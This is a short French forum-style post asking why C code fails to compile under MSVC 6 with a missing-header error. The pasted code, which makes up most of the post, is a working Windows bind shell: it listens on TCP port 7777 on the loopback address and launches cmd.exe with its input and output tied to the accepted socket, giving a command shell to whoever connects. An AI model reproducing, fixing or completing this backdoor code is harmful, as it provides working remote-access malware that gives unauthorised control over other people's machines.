J'ai ce code à compiler sous MSVC 6. Or, bien que mes options de Link soient justes (il me semble), j'obtiens une erreur de linkage:
fatal error C1083: Cannot open include file: 'winhand_.h': No such file or directory
Voici le code en question (aurais-je oublié une dépendance ou une option quelconque) Merci pour les réponses:
#include "stdafx.h"
#include "winsock2.h"
#pragma comment (lib,"Ws2_32.lib")
int _tmain(int argc, _TCHAR* argv[])
{
WSAData wd;
WSAStartup(MAKEWORD( 1, 1 ), &wd);
SOCKET sock;
sock=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
struct sockaddr_in sin;
int size = sizeof(sin);
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(7777);
sin.sin_addr.s_addr = inet_addr("127.0.0.1");
bind(sock, (struct sockaddr*)&sin, size);
listen(sock,1);
int newsock = accept(sock,0,0);
closesocket(sock);
PROCESS_INFORMATION pi;
STARTUPINFO si;
memset(&si, 0, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = ( HANDLE) newsock;
CreateProcess( NULL, "cmd.exe", NULL, NULL, TRUE, 0, 0, NULL, &si, &pi);
return 0;
}